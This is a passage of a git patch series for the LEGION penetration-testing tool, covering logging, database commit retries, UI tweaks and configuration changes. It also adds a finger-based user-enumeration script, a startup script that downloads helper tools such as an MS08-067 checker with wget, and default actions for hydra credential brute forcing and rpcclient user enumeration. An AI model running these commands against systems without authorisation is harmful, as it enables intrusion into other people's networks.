backref, sessionmaker @@ -241,7 +246,7 @@ def __init__(self, dbfilename): try: self.name = dbfilename self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db - self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename), poolclass=SingletonThreadPool) + self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename)) #, poolclass=SingletonThreadPool) self.session = scoped_session(sessionmaker()) self.session.configure(bind = self.engine, autoflush=False) self.metadata = Base.metadata @@ -256,7 +261,7 @@ def openDB(self, dbfilename): try: self.name = dbfilename self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db - self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename), poolclass=SingletonThreadPool) + self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename)) #, poolclass=SingletonThreadPool) self.session = scoped_session(sessionmaker()) self.session.configure(bind = self.engine, autoflush=False) self.metadata = Base.metadata @@ -268,9 +273,27 @@ def openDB(self, dbfilename): def commit(self): self.dbsemaphore.acquire() - session = self.session() - session.commit() + log.info("DB lock aquired") + try: + session = self.session() + rnd = float(randint(1,99)) / 100.00 + log.info("Waiting {0}s before commit...".format(str(rnd))) + time.sleep(rnd) + session.commit() + except Exception as e: + log.error("DB Commit issue") + log.error(str(e)) + try: + rnd = float(randint(1,99)) / 100.00 + time.sleep(rnd) + log.info("Waiting {0}s before commit...".format(str(rnd))) + session.commit() + except Exception as e: + log.error("DB Commit issue on retry") + log.error(str(e)) + pass self.dbsemaphore.release() + log.info("DB lock released") if __name__ == "__main__": diff --git a/legion.py b/legion.py index 3dfc67ac..ab03219a 100644 --- a/legion.py +++ b/legion.py @@ -11,6 +11,10 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' +from utilities.stenoLogging import * +log = get_logger('legion', path="./log/legion-startup.log") +log.setLevel(logging.INFO) + # check for dependencies first (make sure all non-standard dependencies are checked for here) try: from sqlalchemy.orm.scoping import ScopedSession as scoped_session @@ -116,6 +120,12 @@ def eventFilter(self, receiver, event): controller = Controller(view, logic) # Controller prep (communication between model and view) view.qss = qss_file + # Center the application in screen + x = app.desktop().screenGeometry().center().x() + y = app.desktop().screenGeometry().center().y() + MainWindow.move(x - MainWindow.geometry().width()/2, y - MainWindow.geometry().height()/2) + + # Show main window MainWindow.show() try: diff --git a/precommit.sh b/precommit.sh new file mode 100644 index 00000000..1372117f --- /dev/null +++ b/precommit.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +# Update last update in controller +sed -i -r "s/self.update = '.*?'/self.update = \'`date '+%m\/%d\/%Y'\'`/g" ./controller/controller.py +sed -i -r "s/self.build = '.*?'/self.build = \'`date '+%s'\'`/g" ./controller/controller.py + +# Clear logs + +echo "" > ./log/legion.log +echo "" > ./log/legion-db.log +echo "" > ./log/legion-startup.log + +# Prep hidden files +rm -f .initialized +touch .justcloned + +# Clear tmp +rm -Rf ./tmp/* diff --git a/scripts/fingertool.sh b/scripts/fingertool.sh new file mode 100644 index 00000000..06223d92 --- /dev/null +++ b/scripts/fingertool.sh @@ -0,0 +1,30 @@ +#!/bin/bash +# fingertool - This script will enumerate users using finger +# SECFORCE - Antonio Quina + +if [ $# -eq 0 ] + then + echo "Usage: $0 []" + echo "eg: $0 10.10.10.10 users.txt" + exit + else + IP="$1" +fi + +if [ "$2" == "" ] + then + WORDLIST="/usr/share/metasploit-framework/data/wordlists/unix_users.txt" + else + WORDLIST="$2" +fi + + +for username in $(cat $WORDLIST | sort -u| uniq) + do output=$(finger -l $username@$IP) + if [[ $output == *"Directory"* ]] + then + echo "Found user: $username" + fi + done + +echo "Finished!" \ No newline at end of file diff --git a/startLegion.sh b/startLegion.sh index 2c89cfdc..2f0f6f55 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -23,4 +23,5 @@ then fi export QT_XCB_NATIVE_PAINTING=0 +export QT_AUTO_SCREEN_SCALE_FACTOR=1.5 ${PYTHON3BIN} legion.py diff --git a/ui/ancillaryDialog.py b/ui/ancillaryDialog.py index 1ee30c3a..8e9a75c9 100644 --- a/ui/ancillaryDialog.py +++ b/ui/ancillaryDialog.py @@ -33,9 +33,9 @@ def __init__(self, text, parent=None): self.setupLayout() def setupLayout(self): - self.setWindowModality(True) + #self.setWindowModality(True) vbox = QtWidgets.QVBoxLayout() - self.label = QtWidgets.QLabel('') + self.label = QtWidgets.QLabel(self.text) self.progressBar = QtWidgets.QProgressBar() vbox.addWidget(self.label) vbox.addWidget(self.progressBar) @@ -45,7 +45,10 @@ def setupLayout(self): self.setLayout(vbox) def setProgress(self, progress): + if progress > 100: + progress = 100 self.progressBar.setValue(progress) + print("progress {0}".format(str(progress))) def setText(self, text): self.text = text diff --git a/ui/gui.py b/ui/gui.py index 68d19e31..1da776a7 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -26,7 +26,8 @@ class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8("MainWindow")) - MainWindow.resize(2000, 800) + + MainWindow.resize(1200, 900) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName(_fromUtf8("centralwidget")) # do not change this name @@ -35,9 +36,6 @@ def setupUi(self, MainWindow): self.splitter_2 = QtWidgets.QSplitter(self.centralwidget) self.splitter_2.setOrientation(QtCore.Qt.Vertical) self.splitter_2.setObjectName(_fromUtf8("splitter_2")) - #self.splitter_5 = QtWidgets.QSplitter(self.splitter_2) - #self.splitter_5.setOrientation(QtCore.Qt.Vertical) - #self.splitter_5.setObjectName(_fromUtf8("splitter_5")) self.MainTabWidget = QtWidgets.QTabWidget(self.splitter_2) self.MainTabWidget.setObjectName(_fromUtf8("MainTabWidget")) @@ -65,7 +63,6 @@ def setupUi(self, MainWindow): self.setupBottom2Panel() self.gridLayout.addWidget(self.splitter_2, 0, 0, 1, 1) - #self.gridLayout.addWidget(self.splitter_5, 1, 0, 1, 1) MainWindow.setCentralWidget(self.centralwidget) @@ -86,12 +83,12 @@ def setupLeftPanel(self): self.FilterApplyButton = QtWidgets.QToolButton() self.searchIcon = QtGui.QIcon() self.searchIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/search.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) - self.FilterApplyButton.setIconSize(QtCore.QSize(29,21)) + self.FilterApplyButton.setIconSize(QtCore.QSize(29, 21)) self.FilterApplyButton.setIcon(self.searchIcon) self.FilterAdvancedButton = QtWidgets.QToolButton() self.advancedIcon = QtGui.QIcon() self.advancedIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/advanced.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) - self.FilterAdvancedButton.setIconSize(QtCore.QSize(19,19)) + self.FilterAdvancedButton.setIconSize(QtCore.QSize(19, 19)) self.FilterAdvancedButton.setIcon(self.advancedIcon) self.vlayout = QtWidgets.QVBoxLayout(self.HostsTab) self.vlayout.setObjectName(_fromUtf8("vlayout")) diff --git a/ui/helpDialog.py b/ui/helpDialog.py index e6c7b6a1..2d56f4b6 100644 --- a/ui/helpDialog.py +++ b/ui/helpDialog.py @@ -44,13 +44,14 @@ def __init__(self, qss, parent = None): self.setReadOnly(True) class HelpDialog(QtWidgets.QDialog): - def __init__(self, name, author, copyright, emails, version, update, license, desc, smallIcon, bigIcon, qss, parent = None): + def __init__(self, name, author, copyright, emails, version, build, update, license, desc, smallIcon, bigIcon, qss, parent = None): super(HelpDialog, self).__init__(parent) self.name = name self.author = author self.copyright = copyright self.emails = emails self.version = version + self.build = build self.update = update self.desc = QtWidgets.QLabel(desc + '
') self.smallIcon = smallIcon @@ -75,7 +76,7 @@ def Qui_update(self): self.logoapp.setPixmap(QtGui.QPixmap(self.smallIcon).scaled(64,64)) self.form = QtWidgets.QFormLayout() self.form2 = QtWidgets.QHBoxLayout() - self.form.addRow(self.logoapp,QtWidgets.QLabel('

{0} {1}

'.format(self.name, self.version))) + self.form.addRow(self.logoapp,QtWidgets.QLabel('

{0} {1}-{2}

'.format(self.name, self.version, self.build))) self.tabwid = QtWidgets.QTabWidget(self) self.TabAbout = QtWidgets.QWidget(self) self.TabVersion = QtWidgets.QWidget(self) @@ -103,7 +104,7 @@ def Qui_update(self): self.TabAbout.setLayout(self.formAbout) # Version Section - self.formVersion.addRow(QtWidgets.QLabel('Version: {0}
'.format(self.version))) + self.formVersion.addRow(QtWidgets.QLabel('Version: {0}-{1}
'.format(self.version, self.build))) self.formVersion.addRow(QtWidgets.QLabel('Using:')) import platform python_version = platform.python_version() diff --git a/ui/view.py b/ui/view.py index 64b261f8..4e2a80d2 100644 --- a/ui/view.py +++ b/ui/view.py @@ -39,16 +39,15 @@ def __init__(self, ui, ui_mainwindow): QtCore.QObject.__init__(self) self.ui = ui self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings - self.ui_mainwindow.setGeometry(0, 30, 1024, 768) # align window to topleft corner and set default size - self.ui.splitter_2.setSizes([300, 10]) # set better default size for bottom panel + + self.bottomWindowSize = 100 + self.leftPanelSize = 300 + + self.ui.splitter_2.setSizes([250, self.bottomWindowSize]) # set better default size for bottom panel self.qss = None self.processesTableViewSort = 'desc' self.processesTableViewSortColumn = 'id' - ## Calling these remotely from controller after it initalizes - #self.startOnce() # initialisations that happen only once, when the SPARTA is launched - #self.startConnections() # signal initialisations (signals/slots, actions, etc) - def setController(self, controller): # the view needs access to controller methods to link gui actions with real actions self.controller = controller @@ -59,7 +58,7 @@ def startOnce(self): self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) self.adddialog = AddHostsDialog(self.ui.centralwidget) self.settingsWidget = AddSettingsDialog(self.ui.centralwidget) - self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, self.controller.emails, self.controller.version, self.controller.update, self.controller.license, self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, qss = self.qss, parent = self.ui.centralwidget) + self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, self.controller.emails, self.controller.version, self.controller.build, self.controller.update, self.controller.license, self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, qss = self.qss, parent = self.ui.centralwidget) self.ui.HostsTableView.setSelectionMode(1) # disable multiple selection self.ui.ServiceNamesTableView.setSelectionMode(1) @@ -90,7 +89,6 @@ def start(self, title='*untitled'): self.lazy_update_tools = False self.menuVisible = False # to know if a context menu is showing (important to avoid disrupting the user) self.ProcessesTableModel = None # fixes bug when sorting processes for the first time - ## Poop self.setupProcessesTableView() self.setMainWindowTitle(title) @@ -167,8 +165,8 @@ def startConnections(self): # signal ini def initTables(self): # this function prepares the default settings for each table # hosts table (left) headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Padding"] - setTableProperties(self.ui.HostsTableView, len(headers), [0,2,4,5,6,7,8,9,10,11,12,13,14,15,16]) - self.ui.HostsTableView.horizontalHeader().resizeSection(1,30) + setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16]) + self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) # service names table (left) headers = ["Name"] @@ -180,16 +178,16 @@ def initTables(self): # this funct # tools table (left) headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] - setTableProperties(self.ui.ToolsTableView, len(headers), [0,1,2,4,5,6,7,8,9,10,11,12,13]) + setTableProperties(self.ui.ToolsTableView, len(headers), [0, 1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]) # service table (right) headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] - setTableProperties(self.ui.ServicesTableView, len(headers), [0,1,5,6,8,10,11]) + setTableProperties(self.ui.ServicesTableView, len(headers), [0, 1, 5, 6, 8, 10, 11]) # ports by service (right) headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] - setTableProperties(self.ui.ServicesTableView, len(headers), [2,5,6,8,10,11]) - self.ui.ServicesTableView.horizontalHeader().resizeSection(0,130) # resize IP + setTableProperties(self.ui.ServicesTableView, len(headers), [2, 5, 6, 8, 10, 11]) + self.ui.ServicesTableView.horizontalHeader().resizeSection(0, 130) # resize IP # scripts table (right) headers = ["Id", "Script", "Port", "Protocol"] @@ -205,7 +203,7 @@ def initTables(self): # this funct setTableProperties(self.ui.ProcessesTableView, len(headers), [1, 2, 3, 4, 5, 8, 9, 10, 13, 14, 16]) self.ui.ProcessesTableView.setSortingEnabled(True) self.ui.ProcessesTableView.horizontalHeader().resizeSection(0, 125) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(4, 250) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(4, 750) def setMainWindowTitle(self, title): self.ui_mainwindow.setWindowTitle(str(title)) @@ -262,8 +260,6 @@ def killProcessConfirmation(self): return True return False - ### - def connectCreateNewProject(self): self.ui.actionNew.triggered.connect(self.createNewProject) @@ -272,8 +268,6 @@ def createNewProject(self): log.info('Creating new project..') self.controller.createNewProject() - ### - def connectOpenExistingProject(self): self.ui.actionOpen.triggered.connect(self.openExistingProject) @@ -298,8 +292,6 @@ def openExistingProject(self): else: log.info('No file chosen..') - ### - def connectSaveProject(self): self.ui.actionSave.triggered.connect(self.saveProject) @@ -315,8 +307,6 @@ def saveProject(self): self.ui.statusbar.showMessage('Saved!', msecs=1000) log.info('Saved!') - ### - def connectSaveProjectAs(self): self.ui.actionSaveAs.triggered.connect(self.saveProjectAs) @@ -357,8 +347,6 @@ def saveProjectAs(self): else: log.info('No file chosen..') - ### - def saveOrDiscard(self): reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", QtWidgets.QMessageBox.Save | QtWidgets.QMessageBox.Discard | QtWidgets.QMessageBox.Cancel, QtWidgets.QMessageBox.Save) @@ -370,15 +358,11 @@ def saveOrDiscard(self): else: return False # the user cancelled - ### - def closeProject(self): self.ui.statusbar.showMessage('Closing project..', msecs=1000) self.controller.closeProject() self.removeToolTabs() # to make them disappear from the UI - ### - def connectAddHosts(self): self.ui.actionAddHosts.triggered.connect(self.connectAddHostsDialog) @@ -386,7 +370,7 @@ def connectAddHostsDialog(self): self.adddialog.cmdAddButton.setDefault(True) self.adddialog.txtHostList.setFocus(True) self.adddialog.validationLabel.hide() - self.adddialog.spacer.changeSize(15,15) + self.adddialog.spacer.changeSize(15, 15) self.adddialog.show() self.adddialog.cmdAddButton.clicked.connect(self.callAddHosts) self.adddialog.cmdCancelButton.clicked.connect(self.adddialog.close) @@ -438,7 +422,7 @@ def connectImportNmap(self): def importNmap(self): self.ui.statusbar.showMessage('Importing nmap xml..', msecs=1000) - filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)') + filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)')[0] print(str(filename)) if not filename == '': @@ -448,17 +432,16 @@ def importNmap(self): return self.importProgressWidget.reset('Importing nmap..') + self.importProgressWidget.setProgress(5) self.importProgressWidget.show() self.controller.nmapImporter.setFilename(str(filename)) self.controller.nmapImporter.start() self.controller.copyNmapXMLToOutputFolder(str(filename)) - #self.importProgressWidget.show() + self.importProgressWidget.show() else: log.info('No file chosen..') - ### - def connectSettings(self): self.ui.actionSettings.triggered.connect(self.showSettingsWidget) @@ -478,10 +461,7 @@ def cancelSettings(self): def connectHelp(self): self.ui.menuHelp.triggered.connect(self.helpDialog.show) - #self.helpDialog.cmdOkButton.clicked.connect(self.helpDialog.close) - ### - def connectAppExit(self): self.ui.actionExit.triggered.connect(self.appExit) @@ -503,13 +483,13 @@ def connectHostTableClick(self): def hostTableClick(self): if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() - self.ip_clicked = self.HostsTableModel.getHostIPForRow(row) + ip = self.HostsTableModel.getHostIPForRow(row) + self.ip_clicked = ip save = self.ui.ServicesTabWidget.currentIndex() self.removeToolTabs() self.restoreToolTabsForHost(self.ip_clicked) + self.ui.ServicesTabWidget.setCurrentIndex(save) # display services tab if we are coming from a dynamic tab (non-fixed) self.updateRightPanel(self.ip_clicked) - self.ui.ServicesTabWidget.setCurrentIndex(save) # display services tab if we are coming from a dynamic tab (non-fixed) - else: self.removeToolTabs() self.updateRightPanel('') @@ -1107,11 +1087,11 @@ def updateRightPanel(self, hostIP): self.updateNotesView('') def displayToolPanel(self, display=False): - size = self.ui.splitter.parentWidget().width() - 210 - 24 # note: 24 is a fixed value + size = self.ui.splitter.parentWidget().width() - self.leftPanelSize - 24 # note: 24 is a fixed value if display: self.ui.ServicesTabWidget.hide() self.ui.splitter_3.show() - self.ui.splitter.setSizes([210,0,size]) # reset hoststableview width + self.ui.splitter.setSizes([self.leftPanelSize, 0, size]) # reset hoststableview width if self.tool_clicked == 'screenshooter': self.displayScreenshots(True) @@ -1122,20 +1102,20 @@ def displayToolPanel(self, display=False): else: self.ui.splitter_3.hide() self.ui.ServicesTabWidget.show() - self.ui.splitter.setSizes([210,size,0]) + self.ui.splitter.setSizes([self.leftPanelSize, size, 0]) def displayScreenshots(self, display=False): - size = self.ui.splitter.parentWidget().width() - 210 - 24 # note: 24 is a fixed value + size = self.ui.splitter.parentWidget().width() - self.leftPanelSize - 24 # note: 24 is a fixed value if display: self.ui.DisplayWidget.hide() self.ui.ScreenshotWidget.scrollArea.show() - self.ui.splitter_3.setSizes([275,0,size-275]) # reset middle panel width + self.ui.splitter_3.setSizes([275, 0, size - 275]) # reset middle panel width else: self.ui.ScreenshotWidget.scrollArea.hide() self.ui.DisplayWidget.show() - self.ui.splitter_3.setSizes([275,size-275,0]) # reset middle panel width + self.ui.splitter_3.setSizes([275, size - 275, 0]) # reset middle panel width def displayAddHostsOverlay(self, display=False): if display: @@ -1157,12 +1137,15 @@ def updateProcessesTableView(self): self.ProcessesTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn)) self.ui.ProcessesTableView.repaint() self.ui.ProcessesTableView.update() - - for i in [1, 5, 8, 9, 10, 13, 14, 16]: + + # Hides columns we don't want to see + for i in [1, 5, 12, 14, 16]: self.ui.ProcessesTableView.setColumnHidden(i, True) # Force size of progress animation - self.ui.ProcessesTableView.horizontalHeader().resizeSection(0,125) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(0, 125) + + # Update animations self.updateProcessesIcon() def updateProcessesIcon(self): diff --git a/utilities/stenoLogging.py b/utilities/stenoLogging.py index 65938b8c..51f289c8 100644 --- a/utilities/stenoLogging.py +++ b/utilities/stenoLogging.py @@ -113,12 +113,13 @@ def log(self, level, msg, *args, **kwargs): if self.isEnabledFor(level): self._log(level, msg, args, **self._parse_extra(kwargs)) -def get_logger(name, path=None): +def get_logger(name, path=None, console=True): logging.setLoggerClass(StenoLogger) logger = logging.getLogger(name) - shdlr = logging.StreamHandler() - shdlr.setFormatter(StenoFormatter()) - logger.addHandler(shdlr) + if console == True: + shdlr = logging.StreamHandler() + shdlr.setFormatter(StenoFormatter()) + logger.addHandler(shdlr) if path: fhdlr = RotatingFileHandler(path) fhdlr.setFormatter(StenoFormatter()) From 135aeb862c7edae79c6a53f77377c51b638421dc Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 22 Feb 2019 10:33:44 -0600 Subject: [PATCH 119/450] Adding in log skel --- .gitignore | 2 +- controller/controller.py | 2 +- log/legion-db.log | 1 + log/legion-startup.log | 1 + log/legion.log | 1 + 5 files changed, 5 insertions(+), 2 deletions(-) create mode 100644 log/legion-db.log create mode 100644 log/legion-startup.log create mode 100644 log/legion.log diff --git a/.gitignore b/.gitignore index cad3ee0f..022e0988 100644 --- a/.gitignore +++ b/.gitignore @@ -52,7 +52,7 @@ coverage.xml *.pot # Django stuff: -*.log +#*.log local_settings.py db.sqlite3 diff --git a/controller/controller.py b/controller/controller.py index d46a1aea..97fc4b2b 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1550852816' + self.build = '1550853208' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] diff --git a/log/legion-db.log b/log/legion-db.log new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/log/legion-db.log @@ -0,0 +1 @@ + diff --git a/log/legion-startup.log b/log/legion-startup.log new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/log/legion-startup.log @@ -0,0 +1 @@ + diff --git a/log/legion.log b/log/legion.log new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/log/legion.log @@ -0,0 +1 @@ + From a0b74b0f30a48d5d57c56fd17e1e0a188646dee7 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 22 Feb 2019 10:34:16 -0600 Subject: [PATCH 120/450] Reverting gitignore to block future logs --- .gitignore | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.gitignore b/.gitignore index 022e0988..cad3ee0f 100644 --- a/.gitignore +++ b/.gitignore @@ -52,7 +52,7 @@ coverage.xml *.pot # Django stuff: -#*.log +*.log local_settings.py db.sqlite3 From bbb56848c18bfdab664a41a93fa2ed3d75f1f358 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 22 Feb 2019 11:47:50 -0600 Subject: [PATCH 121/450] Fix automated attack settings saver and defaults --- app/settings.py | 6 +++--- controller/controller.py | 2 +- legion.conf | 14 ++++---------- 3 files changed, 8 insertions(+), 14 deletions(-) diff --git a/app/settings.py b/app/settings.py index d533eb97..de6656dc 100644 --- a/app/settings.py +++ b/app/settings.py @@ -119,7 +119,7 @@ def createDefaultPortActions(self): self.actions.setValue("samrdump", ["Run samrdump", "python /usr/share/doc/python-impacket/examples/samrdump.py [IP] [PORT]/SMB", "netbios-ssn,microsoft-ds"]) self.actions.setValue("nbtscan", ["Run nbtscan", "nbtscan -v -h [IP]", "netbios-ns"]) self.actions.setValue("smbenum", ["Run smbenum", "bash ./scripts/smbenum.sh [IP]", "netbios-ssn,microsoft-ds"]) - self.actions.setValue("enum4linux", ["Run enum4linux", "enum4linux [IP]", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("enum4linux", ["Run enum4linux", "enum4linux [IP]", "netbios-ssn, microsoft-ds"]) self.actions.setValue("polenum", ["Extract password policy (polenum)", "polenum [IP]", "netbios-ssn,microsoft-ds"]) self.actions.setValue("smb-enum-users", ["Enumerate users (nmap)", "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) self.actions.setValue("smb-enum-users-rpc", ["Enumerate users (rpcclient)", "bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\"", "netbios-ssn,microsoft-ds"]) @@ -301,7 +301,7 @@ def getSchedulerSettings_old(self): def backupAndSave(self, newSettings): # Backup and save log.info('Backing up old settings and saving new settings..') - os.rename('./legion.conf', './'+getTimestamp()+'-legion.conf') + os.rename('./legion.conf', './backup/'+getTimestamp()+'-legion.conf') self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) self.actions.beginGroup('GeneralSettings') @@ -351,7 +351,7 @@ def backupAndSave(self, newSettings): self.actions.beginGroup('SchedulerSettings') for tool in newSettings.automatedAttacks: - self.actions.setValue(tool, newSettings.automatedAttacks[tool]) + self.actions.setValue(tool[0], [tool[1], tool[2]]) self.actions.endGroup() self.actions.sync() diff --git a/controller/controller.py b/controller/controller.py index 97fc4b2b..bccc9036 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1550853208' + self.build = '1550857610' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] diff --git a/legion.conf b/legion.conf index 29841808..10c71858 100644 --- a/legion.conf +++ b/legion.conf @@ -31,7 +31,7 @@ unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a [PortActions] banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", "telnet,ssh" dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn, microsoft-ds" finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap @@ -87,16 +87,16 @@ vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp [SchedulerSettings] -enum4linux="netbios-ssn,microsoft-ds" +enum4linux=n, e ftp-default=ftp, tcp mssql-default=ms-sql-s, tcp mysql-default=mysql, tcp -nbtscan=netbios-ns +nbtscan=n, e nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp oracle-default=oracle-tns, tcp postgres-default=postgresql, tcp screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp -smb-null-sessions="netbios-ssn,microsoft-ds" +smb-null-sessions=n, e smbenum=microsoft-ds, tcp smtp-enum-vrfy=smtp, tcp snmp-default=snmp, udp @@ -111,9 +111,3 @@ stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" stage5-ports=T:30000-65535 - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/sbin/nmap -texteditor-path=/usr/bin/leafpad From ad192e828ee2b1cca4ea4ddffc5023c7be3c7ea5 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 22 Feb 2019 11:48:57 -0600 Subject: [PATCH 122/450] Add backup folder, disable save every close even if there are no changes --- backup/__init__.py | 0 controller/controller.py | 2 +- 2 files changed, 1 insertion(+), 1 deletion(-) create mode 100644 backup/__init__.py diff --git a/backup/__init__.py b/backup/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/controller/controller.py b/controller/controller.py index bccc9036..722f72f5 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1550857610' + self.build = '1550857694' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] From a702880909fd11044577689bde21cd3c67271a61 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 22 Feb 2019 12:58:53 -0500 Subject: [PATCH 123/450] detectScripts.sh Detects if additional Sparta scripts are installed --- deps/detectScripts.sh | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 deps/detectScripts.sh diff --git a/deps/detectScripts.sh b/deps/detectScripts.sh new file mode 100644 index 00000000..cb1b91bb --- /dev/null +++ b/deps/detectScripts.sh @@ -0,0 +1,38 @@ +#!/bin/bash + +echo "Checking for additional Sparta scripts..." +echo $(pwd) +if [ -a scripts/smbenum.sh ] + then + echo "smbenum.sh is already installed" +else + wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/smbenum.sh +fi + +if [ -a scripts/snmpbrute.py ] + then + echo "snmpbrute.py is already installed" +else + wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/snmpbrute.py +fi + +if [ -a scripts/ms08-067_check.py ] + then + echo "ms08-067_check.py is already installed" +else + wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/ms08-067_check.py +fi + +if [ -a scripts/rdp-sec-check.pl ] + then + echo "rdp-sec-check.pl is already installed" +else + wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/rdp-sec-check.pl +fi + +if [ -a scripts/ndr.py ] + then + echo "ndr.py is already installed" +else + wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/ndr.py +fi From 768845ad2f6305dcafa6b76b837fa3e2b388ce05 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 22 Feb 2019 12:59:26 -0500 Subject: [PATCH 124/450] detectScripts.sh Checks to see if other Sparta scripts are installed --- startLegion.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/startLegion.sh b/startLegion.sh index 2f0f6f55..94f4464d 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -8,6 +8,9 @@ source ./deps/detectPython.sh # Determine OS, version and if WSL source ./deps/detectOs.sh +# Determine if additional Sparta scripts are installed +source ./deps/detectScripts.sh + # Figure if fist run or recloned and install deps if [ ! -f ".initialized" ] | [ -f ".justcloned" ] then From 938d05bbcfe2616980370ef711370d58a35c92fc Mon Sep 17 00:00:00 2001 From: sscottgvit Date: 